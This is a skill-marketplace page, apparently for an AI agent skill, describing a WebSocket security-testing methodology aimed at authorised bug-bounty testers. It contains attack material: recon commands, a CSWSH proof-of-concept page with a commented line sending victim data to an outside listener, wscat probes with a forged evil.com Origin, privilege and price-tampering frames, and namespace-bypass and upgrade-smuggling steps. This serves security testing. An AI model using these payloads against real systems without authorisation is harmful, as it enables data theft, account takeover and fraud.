mcpField
H
hunt-websocket

hunt-websocket

github.com/uphiago安全1.3k40 次安装8 周前更新
代码仓库

关于 hunt-websocket

hunt-websocket 是面向授权测试人员的 WebSocket 应用安全测试技能,涵盖握手、消息和频道授权风险,并强调验证实际影响、排除误报。

主要功能

  1. 01发现 WebSocket 端点
  2. 02检查 CSWSH 攻击条件
  3. 03测试握手及逐消息认证
  4. 04探测帧篡改与房间授权
  5. 05验证影响并排除误报

适用场景

  1. 01测试 Cookie 认证套接字的 CSWSH 风险
  2. 02检查特权帧是否需要授权
  3. 03评估结账或游戏消息的篡改风险
  4. 04验证 socket.io 命名空间的访问控制

MCP 相关

该技能提及 Burp MCP 操作,用于查看 WebSocket 历史记录,并通过 Collaborator 确认带外交互。

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-websocket

安装后在 Claude Code 中输入/hunt-websocket确认已加载。

详细介绍

HUNT-WEBSOCKET — WebSocket 安全

核心资产目标

如果使用 Cookie 认证握手,且没有 CSRF 令牌或每连接令牌,则 CSWSH(跨站 WebSocket 劫持)的严重性为高至严重(可实时窃取任意已登录受害者的数据)。

价值最高的攻击链:

  • CSWSH → 数据窃取 / ATO — 握手通过环境 Cookie 进行认证,没有 CSRF 令牌,也未强制校验 Origin → 攻击者页面以受害者身份打开 WS,并传输其消息、个人身份信息和令牌。如果数据流中包含会话令牌、刷新令牌或 CSRF 令牌,则可进一步升级为 ATO。
  • 没有逐消息认证 — 存在 HTTP / 握手认证,但不会重新授权各个 WS 帧 → 接受特权消息(deleteUser、getSecretConfig)。
  • 消息篡改 — 在交易、游戏或结账应用中修改传输中的帧(价格、数量、userId、金额)→ 金融欺诈。
  • socket.io 命名空间 / 房间授权绕过 — 无需权限检查即可连接到特权命名空间,或加入其他用户的房间 → 跨租户实时数据窃取。
  • 握手层 Upgrade 请求走私 — 格式错误的 Upgrade / Connection / Sec-WebSocket-* 握手导致前置代理与源站对是否发生升级产生分歧 → 请求走私隧道。

依据 — 参考案例(开始测试前阅读)

以下是公开且可验证的参考资料。请据此判断真正的 WS 漏洞是什么样的,以及如何证明。不要编造其他报告 ID 或赏金金额。

#来源 / ID类型经验
1PortSwigger Web Security Academy — “跨站 WebSocket 劫持”(研究与实验)CSWSHCSWSH 的经典模型:Cookie 认证握手 + 没有 CSRF 令牌 + 缺少 Origin 检查 → 攻击者可以以受害者身份读取和发送数据。这是权威的方法论。
2Christian Schneider — “跨站 WebSocket 劫持(CSWSH)”(原始披露 / 文章,2013)CSWSH首个公开的 CSWSH 技术:Cookie 认证握手 + 未强制校验 Origin;PoC 必须证明攻击者浏览器收到受害者数据,而不只是得到 101 响应。
3Coda CSWSH(本仓库 hunt-csrf 集合中引用)CSWSH实时协作应用通常完全依靠 Cookie 对 socket 进行认证;缺失的控制措施是 Origin 允许列表。
4CVE-2020-7662 — websocket-extensions(Node)ReDoSDoS特制的 Sec-WebSocket-Extensions 标头会触发灾难性回溯 — 握手标头本身就是攻击面,不只有数据帧。
5CVE-2024-37890 — ws(Node)DoSDoS大量握手请求标头会耗尽服务器资源;这证实握手本身在数据帧传输前就可能受到解析器攻击。
6过时的 socket.io / Engine.IO 技术栈socket.io这说明了第 7 阶段版本指纹识别步骤的必要性 — 先识别版本,再检查该版本的已知安全公告。

以上仅列出 4 个可验证的 CVE,并给出精确 ID。对于无法确定精确标识符的案例,请在描述技术时不要添加引用 — 错误的 CVE 比没有引用更糟。


第 1 阶段 — 发现 WebSocket 端点

# Grep JS for WS connections (handshake URLs, socket.io clients)
grep -rE "new WebSocket|io\(|io\.connect|socket\.io|new SockJS|signalr|Phoenix\.Socket|wss?://" \
  recon/$TARGET/ --include="*.js" 2>/dev/null | \
  grep -oE "(wss?://[^'\"]+|/[a-zA-Z0-9/_.-]*socket[^'\"]*|/signalr[^'\"]*|/cable\b)" | sort -u

# Crawl URLs for realtime hints
grep -iE "socket|/ws\b|websocket|stream|realtime|live|chat|events|/cable|/signalr|notifications" \
  recon/$TARGET/urls.txt | sort -u

# Probe handshake (101 = upgrade supported)
curl --max-time 30 --connect-timeout 10 -sI -o /dev/null -w "%{http_code}\n" \
  -H "Connection: Upgrade" -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: $(head -c16 /dev/urandom | base64)" \
  "https://$TARGET/ws"

# socket.io polling handshake leaks version + sid
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/socket.io/?EIO=4&transport=polling" | head -c 300; echo

# Non-standard WS ports
nmap -sV -p 80,443,3000,3001,8080,8443,8888,9000 $TARGET 2>/dev/null | grep open

在 Burp Pro 中浏览应用后,使用 get_proxy_websocket_history(以及 WebSockets 选项卡)枚举活动 socket、消息架构,以及哪些帧包含敏感认证数据。


第 2 阶段 — CSWSH(跨站 WebSocket 劫持)

CSWSH 必须同时满足以下三个条件:(a)握手通过环境凭据进行身份验证(自动发送的 cookie);(b)握手中没有不可预测的、每个连接独有的令牌(没有 CSRF 令牌/URL 或正文中没有令牌);(c)服务端不强制校验 Origin。缺少其中任何一个条件,攻击都无法成立。

# Step 1 — Confirm handshake auth model in DevTools → Network → WS → Headers.
#   Look for: Cookie: session=...  AND  the ABSENCE of any per-request token
#   (no ?token=, no Sec-WebSocket-Protocol carrying a bearer, no body nonce).
#   If a unique token rides the handshake, CSWSH is NOT exploitable cross-site.

# Step 2 — Probe Origin enforcement (this is a SIGNAL, not a confirmation)
wscat -c "wss://$TARGET/ws" \
  --header "Origin: https://evil.com" \
  --header "Cookie: session=YOUR_SESSION"
# A 101 from a foreign Origin only proves the handshake opened.
# It does NOT confirm CSWSH — the server may still validate Origin at the
# message layer, refuse to stream authenticated data, or require a token
# in the first app-level frame. Treat 101 as "candidate", move to Step 3.

<html><body><pre id="out"></pre><script>
var marker = "CSWSH-" + Math.random().toString(36).slice(2);   // unique per run
var ws = new WebSocket("wss://TARGET/ws");                     // attacker cannot forge Origin
ws.onopen = () => {
  log("[+] 101 opened from attacker origin");
  ws.send(JSON.stringify({type:"subscribe", channel:"user_notifications", _m:marker}));
};
ws.onmessage = e => {
  log("VICTIM-DATA: " + e.data);
  // Exfil PROOF to your Collaborator/listener so receipt is logged out-of-band:
  // navigator.sendBeacon("https://<collab-id>.oastify.com/cswsh?d=" + encodeURIComponent(e.data));
};
ws.onerror = e => log("ERR (likely Origin/auth rejected at message layer)");
function log(s){document.getElementById("out").textContent += s + "\n";}
</script></body></html>

排除误报:

  • 收到来自 Origin: evil.com 的完整 101 响应并不算发现。许多服务端会接受升级请求,但随后不发送任何内容,或在收到第一帧经过身份验证的消息时关闭连接。
  • 使用你在账户 B 中植入的唯一标记/不同的受害者个人身份信息,验证收到的数据是否属于与攻击者不同的账户。
  • 将收到的负载外传到 Burp Collaborator/OAST 监听器,以便在带外记录数据接收情况——这是报告中的影响证明。
  • 如果每个连接独有的令牌随握手传递(位于 URL、子协议或第一帧中),则 CSWSH 无法跨站利用;应降低严重性或不予报告。

第 3 阶段 — WS 消息缺少身份验证/身份验证薄弱

握手身份验证 ≠ 每条消息身份验证。应用通常只对套接字进行一次身份验证,然后便信任后续的每一帧。

# No cookie at all — does the server process app frames?
wscat -c "wss://$TARGET/ws"
# > {"type":"getUserData","userId":1}
# > {"type":"getAdminPanel"}

# Low-priv session sending high-priv actions
wscat -c "wss://$TARGET/ws" --header "Cookie: session=LOW_PRIV_SESSION"
# > {"action":"deleteUser","userId":999}
# > {"action":"getSecretConfig"}

**验证:**特权操作必须产生实际效果(删除测试用户、返回秘密配置、产生可通过第二个通道观察到的状态变化)——被接受后静默忽略的帧不算发现。使用未经过身份验证的客户端重新执行,以确认该操作并非只是被无害地广播给所有人。


第 4 阶段 — 消息篡改(金融/游戏/结账)

# Intercept + edit in Burp (Proxy → WebSockets history → right-click → Send to
# Repeater, or edit-and-forward). Try server-trusted client values:
#   {"price":100}      -> {"price":0.01}
#   {"amount":1}       -> {"amount":9999}
#   {"userId":123}     -> {"userId":1}        # impersonate admin
#   {"orderTotal":...} -> recompute downstream?

# wscat replay of a tampered frame
wscat -c "wss://$TARGET/trade" --header "Cookie: session=SESSION"
# > {"action":"buy","amount":1,"price":0.01}

**验证:**篡改后的值必须在服务端持久保存——通过 REST/订单 API 或新的套接字连接进行确认,确保订单/余额/价格确实反映了篡改结果。许多 UI 会乐观地回显你自己发送的帧;该回显并不能作为证据。证明其造成的财务/状态影响,最好使用沙盒/测试工具。


第 5 阶段 — 绕过 socket.io/SignalR/Phoenix 命名空间与房间授权

Engine.IO/socket.io 是构建在原始 WebSocket 之上的协议。数据包前缀(Engine.IO 的 4=MESSAGE 封装 socket.io 的 0=CONNECT、1=DISCONNECT、2=EVENT)携带命名空间/房间意图。加入时必须进行授权检查,但这种检查往往缺失。

# 1) Open the raw socket.io WebSocket (Engine.IO v4)
wscat -c "wss://$TARGET/socket.io/?EIO=4&transport=websocket" \
  --header "Cookie: session=YOUR_SESSION"

# 2) Respond to the server's Engine.IO OPEN ('0{...}') so the connection lives,
#    then CONNECT to a namespace with a socket.io CONNECT packet.
#    CORRECT packet to join the /admin namespace:  40/admin,
#       4 = Engine.IO MESSAGE,  0 = socket.io CONNECT,  /admin, = namespace
#    (NOT a ?nsp= query param — see Phase 7. NOT 42 — 42 is MESSAGE+EVENT.)
# > 40/admin,
#    Server replies 40/admin,{"sid":"..."} on success, or 44/admin,{...} (error)
#    on rejection. A 40 success to a privileged namespace as a low/no-priv
#    user is the bug.

# 3) Once in a namespace, emit an EVENT (42) to join another user's room:
# > 42/admin,["join",{"room":"user_999_private"}]
# > 42["subscribe",{"channel":"admin_events"}]      # root namespace
#    Watch for 42 EVENT frames carrying ANOTHER user's data.

**验证:**区分已连接到命名空间与已收到特权数据。只有当你收到包含其他租户/用户数据的 42 事件帧,或特权 emit 产生可验证的服务端效果时,才能确认该发现。没有后续数据的 40/admin 确认消息可能只表示一个开放但为空的命名空间。

SignalR 类似操作:在 /<hub>/negotiate 进行协商,然后连接并调用 hub 方法的 Invoke/Send——测试方法级别的授权。Phoenix Channels:向 topic:subtopic 发送 phx_join,并检查服务端的 join/3 是否对主题进行授权。


阶段 6 — 握手层升级请求走私(不是帧走私)

重要提示:WebSocket 建立后,你的载荷会封装在 WS 帧中,代理绝不会再将其解析为 HTTP。在已打开的 wscat 会话中输入 GET /admin HTTP/1.1 不会有任何作用。与 WebSocket 相关的走私发生在握手阶段,此时还不存在任何帧。

真正的技术是:发送一条 WebSocket Upgrade 请求,让前端代理和源站对其产生不同的解读——例如,错误的 Sec-WebSocket-Version 会导致源站回复 426 Upgrade Required(或 400),而代理已经判定连接已“升级”,并停止解析 HTTP。随后,代理会将后续字节作为不透明流直接隧道传输到源站,让你能够将任意 HTTP 请求走私过前端控制(WAF/授权)。

# Detection is HTTP-layer, not frame-layer. Use Burp Repeater / send_http1_request
# and toggle ONE handshake variable at a time, comparing front-vs-origin behavior:

#  A) Valid-looking upgrade but unsupported version:
#     Upgrade: websocket
#     Connection: Upgrade
#     Sec-WebSocket-Version: 777          <- origin should 426; does the proxy still tunnel?
#     Sec-WebSocket-Key: <16-byte base64>

#  B) Upgrade header present but Connection: keep-alive (mismatch)
#  C) Smuggled second request body after a "successful" 101, then send a normal
#     follow-up request on the same connection and watch for a desynced response.

使用 Burp Pro 的 HTTP Request Smuggler 扩展来执行此操作(其中包含 WebSocket 升级测试用例),而不是手动操作。验证方式与经典走私完全相同:通过时序/差异探测证明发生了不同步,并展示实际影响(访问内部/禁止路径、投毒缓存响应,或捕获其他用户的请求)——必须通过 Burp Collaborator / OAST 确认,不能仅凭单个含糊的响应下结论。


阶段 7 — socket.io / Engine.IO 专项

# Version + initial sid (handshake JSON after the leading Engine.IO digit)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/socket.io/?EIO=4&transport=polling" | head -c 300; echo
# Old/EOL socket.io stacks have known issues — fingerprint the version, then check that release's advisories;
# fingerprint the client lib version from JS bundles too.

# Namespace selection is a PROTOCOL message, not a URL param.
#   WRONG:  wscat -c "wss://$TARGET/socket.io/?EIO=4&transport=websocket&nsp=/admin"
#           ^ `nsp` is NOT a recognized socket.io query param. It is silently
#             ignored and you connect to the ROOT namespace "/". You will believe
#             you tested /admin when you did not.
#   RIGHT:  open the socket, then send the CONNECT packet  40/admin,  (Phase 5).

# Forged/replayed sid against the polling transport (session fixation / hijack probe)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/socket.io/?EIO=4&transport=polling&sid=FAKE_OR_VICTIM_SID"
#   400 "Session ID unknown" = good. A 200 that resumes another sid's stream = bug.

工具

npm install -g wscat                 # CLI WS client (raw + socket.io)
brew install websocat                # alt client; supports text/binary + autoreconnect
# Burp Suite Pro: WebSockets history (intercept/edit/replay), HTTP Request
#   Smuggler extension (handshake-upgrade smuggling), Collaborator for OAST proof.
# Burp MCP: get_proxy_websocket_history / get_proxy_websocket_history_regex to
#   enumerate frames; generate_collaborator_payload + get_collaborator_interactions
#   to prove out-of-band receipt from a CSWSH/smuggling PoC.

攻击链表

WS 发现攻击链影响
CSWSH + 流中的令牌从受害者帧中窃取会话/刷新/CSRF 令牌ATO(严重)
已确认 CSWSH订阅受害者频道,将数据外传至 OAST实时数据窃取(高)
消息级别无身份验证发送管理员/特权帧权限提升(严重)
消息篡改修改价格/金额/userId,并在服务端确认金融欺诈(严重)
命名空间/房间授权绕过加入其他租户的房间,读取 42 事件跨租户数据外传(高)
握手升级请求走私将 HTTP 隧道传过 WAF/授权控制,并通过 OAST 确认请求走私 → SSRF/缓存投毒(高至严重)

验证(报告前必须完成)

  • ✅ CSWSH:攻击者来源的 PoC HTML 必须在另一个已登录的受害者账户下打开,并且接收到该受害者的数据(通过唯一植入的标记/独特的 PII 验证),再将其外传至 Collaborator/OAST。仅凭来自外部 Origin 的 101 不构成安全发现。
  • ✅ 消息级别无身份验证:特权帧会产生可验证的服务端效果(通过第二个通道/REST API 确认状态变更),而不只是“被接受”。
  • ✅ 消息篡改:篡改后的值会在服务端持久保存(通过订单/余额 API 确认),而不只是回显在 UI 中。
  • ✅ **命名空间/房间绕过:**收到包含其他用户数据的 42 事件帧,而不只是 40 命名空间确认帧。
  • ✅ 升级请求走私:通过时序/差异探测证明发生了不同步,并且存在实际影响,且已通过 OAST 确认。不能仅凭单个响应推测。
  • ❌ 拒绝以下情况:仅有一个 101、已接受但被忽略的帧、自回显消息、已连接但为空的命名空间,或任何缺少带外/跨账户证据的“已确认”结论。

严重程度:

  • CSWSH 泄露会话/刷新令牌 → ATO:严重
  • CSWSH → 实时会话数据窃取:高
  • 管理员/特权 WS 操作无身份验证:严重
  • 金融消息篡改(经服务端确认):严重
  • 命名空间/房间订阅绕过(跨租户):高

验证

运行此自测,以确认已准备好进行 WebSocket 安全测试:

  1. 技能完整性 — 确认技能文件可读且格式正确:

    grep -q "name: hunt-websocket" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
    grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
    
  2. 类别检查 — 确认技能有类别:

    grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
    
  3. 陷阱部分 — 确认已记录常见陷阱:

    grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
    

全部 3 项测试用于验证技能结构正确且可供使用。


陷阱

  • WebSocket 无身份验证 —— 如果 WebSocket 端点不要求身份验证令牌,任何人都可以连接。测试连接后的身份验证要求。
  • 使用 ws:// 而非 wss:// —— 公共服务上的明文 WebSocket 会遭受中间人攻击。如果 WebSocket 传输敏感数据,则风险为中等。
  • WebSocket CSWSH —— 跨站 WebSocket 劫持:如果 WebSocket 握手不验证 Origin,攻击者的页面就可以建立 WebSocket 连接。使用 Origin: evil.com 进行测试。
  • WebSocket 消息注入 —— 向会转发给其他用户的 WebSocket 消息中注入内容,会造成通过 WebSocket 实现的存储型 XSS。

相关技能

  • hunt-csrf —— 从结构上看,CSWSH 是 CSRF 与 WebSocket 升级的组合。利用链:握手通过环境 Cookie 进行身份验证 + 无 CSRF 令牌 + 缺少 Origin 检查 → 攻击者来源的页面以受害者身份打开 WS 并传输消息 → 影响模式与 CSRF 相同(未经同意更改状态),但具备双向通信能力。
  • hunt-http-smuggling —— 握手层的 Upgrade 请求走私(格式错误的 Upgrade/Connection 标头)会导致前置代理与源站对是否发生了协议升级意见不一。利用链:通过 WAF 建立走私隧道 → 访问内部端点或造成缓存投毒。
  • hunt-ssrf —— 接受 URL 参数或连接目标覆盖参数的 WebSocket 端点属于 SSRF 攻击面。利用链:WS 客户端连接到 wss://target/ws?proxy=attacker-host → 服务端代理跟随该地址 → 访问 [REDACTED_IP] 上的云元数据。
  • hunt-session —— 重连时不重新验证会话的 WebSocket 连接会造成持久化漏洞。利用链:在新的 WS 连接中重放被盗的会话 Cookie → 重连后无需重新验证身份,即可继承所有已订阅的频道。
  • hunt-tls-network —— 使用 wss:// 而非 ws://(明文)建立 WebSocket 连接,决定了传输帧中的 PII 是否会在网络传输过程中被读取。利用链:在非标准端口上使用 ws:// → TLS 降级 → 凭据被截获。
  • security-arsenal —— 使用 WebSocket CSWSH PoC 模板、socket.io/signalr 命名空间发现载荷,以及 WS 消息篡改帧构造指南。
  • triage-validation —— 应用 OOB-Or-It-Didn't-Happen 门槛:只有当攻击者来源的 JS 实际收到受害者数据(通过唯一标记 / 独特的 PII 进行验证),并将其外传到 Collaborator 监听器时,才能确认 CSWSH。仅有来自外部 Origin 的 101 响应不构成安全发现。

评论

支持 Markdown